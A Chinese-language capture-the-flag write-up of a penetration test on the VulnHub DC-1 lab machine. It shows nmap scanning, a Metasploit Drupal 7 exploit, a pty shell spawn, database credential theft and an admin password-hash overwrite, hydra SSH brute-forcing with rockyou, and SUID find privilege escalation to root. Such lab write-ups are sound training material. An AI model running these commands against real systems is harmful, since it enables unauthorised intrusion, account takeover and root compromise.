文章目录
一、环境搭建
我们只需要一台kali,一台DC-1靶机便可实现所有操作
1.kali安装
这里我便不多说啦,来到这里的肯定都有kali吧…
2.DC-1靶机搭建
1.直接官网下载 https://download.vulnhub.com/dc/DC-1.zip
建议直接下载解压到与你其他虚拟机相同的保存路径(无所谓,纯整洁)。解压出来是一个.ova文件。
2.VMware直接打开虚拟机,选择DC-1.ova即可
导入进去之后其实直接打开就可以,根据自己测试的网络选择NAT或桥接都可以,但一定要和kali保持一致,进去之后就是这个页面。当然你不要妄想登录进去啊,能登进去干嘛渗透啊…我第一次玩这个就是想登进去,还在考虑是不是下载错了,还百度DC-1密码是啥…只需要这样,就算完成搭建了。
3.查看kali的IP地址:192.168.124.6
二、渗透测试
1.信息收集
根据这个环境,我们首先就要想到先拿到IP、端口、系统等信息,当然使用到的工具会有很多,大家随便用就可以,这里我就讲我用的工具啦。
①IP、端口探测
直接nmap就可以,参数的话根据自己想法搞就对了,这里给大家附个namp参数链接
https://blog.csdn.net/Kris__zhang/article/details/106841466
nmap -sS -sV 192.168.124.0/24
发现了192.168.124.5这台主机,并且这台主机开放了22、80、111端口,可能还有其他端口开放,这里我nmap没有给相应的参数,但我们只需要这些就够了,22是ssh服务,80是http,111是一个rpcbind远程调用的,好像也可以利用,具体我也没研究过这个端口,不会。我们就直接访问一下http。
发现登录框,此时我们的想法不就又多了嘛!!闲的没事的直接尝试SQL注入呗,当然我没有哈,我很懒,只是说下思路哈哈。
②CMS探测
看到这里,其实我们最先想到的应该就是CMS框架漏洞,因为这种漏洞是存在的,有直接利用的可能,我们可以看到这是一个Drupal,有很多方法的可以进一步查看Drupal信息的,元素审查里的网络请求头,还有火狐浏览器的插件wappalyzer以及我直接在kali里用的whatweb
可以看到是Drupal 7版本。
2.漏洞查找
根据CMS版本直接百度有何漏洞!!也可以直接Metasploit搜索漏洞
msfconsole
search Drupal 7
3.漏洞利用
搜索出来的漏洞有时间就一个一个试试,这里我们选择序号1
use 1
然后查看配置
options
发现我们还要配置rhost,也就是配置被攻击主机IP
set rhost 192.168.124.5
配置好之后也可以再查看一下配置,我们直接run
4.拿下目标
①flag1
浅浅shell一下,再直接ls,查看到flag1.txt
快打开看看里面是什么
cat flag1.txt
下一步都知道干嘛吧,不会只有我需要百度翻译吧…翻译完是说“每一个好的CMS需要一个配置文件-你也是这样的”,大概给我们的信息就是这个配置文件了,接下来我们就找到它。
②flag2
这里直接百度一下Drupal的配置文件,发现是settings.php,在sites/default/files中,我们刚才的ls之后,就能看到sites文件
我们可以先getshell一下拿到交互界面
python -c 'import pty; pty.spawn("/bin/bash")'
然后cd进入文件发现settings.php
cat查看
老样子,百度翻译,flag2.txt里面说的大概就是…我直接上图
啥意思呢这是?猜不出来我就不猜了!
③flag3
我刚刚不仅看到了flag2.txt,我还看到了数据库信息,而且还紧挨着,这不是专门搞诱惑呢吗。
mysql -udbuser -pR0ck3t
show databases;
然后进入drupaldb数据库查看一下表
use drupaldb;
show tables;
发现有个users表,大胆猜测里面就是用户了,查看一下
select * from users;
可以看到两个用户,一个就是admin,后面一串乱七八糟的肯定是密码,而且是加密的,能看出来还不是md5加密
$S$DdUJlpr6FhYobo7RkoGpy3OkE2Z1HR2DM6waydhKGZD6geebWJvZ
$S$DdUJlpr6FhYobo7RkoGpy3OkE2Z1HR2DM6waydhKGZD6geebWJvZ
不仔细看我都不知道这两个用户密码还是一样的!因为我做过了已经修改过,但丝毫不影响思路。
这个时候想要知道密码就很头疼了,能想到的也就两个思路,要么修改密码,要么添加新用户。在这里我用的是修改密码。
首先我们要知道加密方式,然后利用加密方式设置新密码,自动生成密文,然后更改数据库里的密文即可,此时我灵光一现直接百度参考drupal数据库存放用户密码的加密脚本文件,直接就找到了。
/var/www/scripts/password-hash.sh
我们exit退出数据库,然后查看一下
还真有,这就好办了,直接设置密码生成密文就好了。
php /var/www/scripts/password-hash.sh 111111
后面那一串密文就是我们加密过的密码,此时我们把它复制一下,重新进入数据库更改admin用户的密码
update users set pass = "$S$DDAmWULkTycahDjydtipcfgJ37y1qgf1nVHCDH6ZP56TM/6ZyNnP" where name = 'admin';
完成之后我们再看就发现已经改变啦
此时我们直接在web端的登陆页面用admin登进去,就可以随意查看网页了。
里面说的大概是让我去找passwd和shadow并且要用到根据文件权限查找,和-exec执行特定操作”,看完我一脸迷茫又去回顾了一下linux…
④flag4
回顾完知识后,我们直接查看就好了,passwd里面一般存的都是用户
cat /etc/passwd
直接就看到了flag4用户,再打开一个终端拿hydra爆破
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.124.5
很快就爆出来flag4用户的密码是orange,由于主机开放了22ssh端口,直接上ssh连接。
ssh flag@192.168.124.5
登进来之后便可随意查看发现了flag4.txt
里面的内容就是让我们找到根目录查看,也就是拿到root权限。
⑤thefinalflag
这里我们就要用到find命令了,利用suid提权,这里附上他人的学习链接
Linux提权之SUID提权
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
以上三条命令都可以查看到具有suid权限的文件
发现有find,我么就直接用find提权就ok!首先查看一下都有什么文件
这里有个flag4.txt,当然你也可以返回到其他目录查看,这里直接执行
find / -name flag4.txt -exec "/bin/sh" \;
此时我们已经提权成功
whoami
可以看到是root了,我们进入到root目录
cd /root
ls
cat thefinalflag.txt
伟大的flag就成功拿到了!!!里面的意思也懒得百度喽…
终于完成了DC-1的完整渗透,小白欢迎大佬们提出更多的经验,谢谢!!!
三、经验总结
1.此次DC-1的渗透用到了如下几种工具的基础使用
①namp
②whatweb
③metasploit
④hydra
2.其中用到了python getshell的方法
python -c 'import pty; pty.spawn("/bin/bash")'
3.数据库的基本使用(增删改查)
4.linux的基本命令,尤其是suid提权find的用法
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
find / -name flag4.txt -exec "/bin/sh" \;
这些基本的操作用法我非常不熟,需要经常练习去掌握。
伟大的DC-1的完整渗透就算告一段落,本人小白欢迎大佬们提出更多的宝贵建议,谢谢啦!!!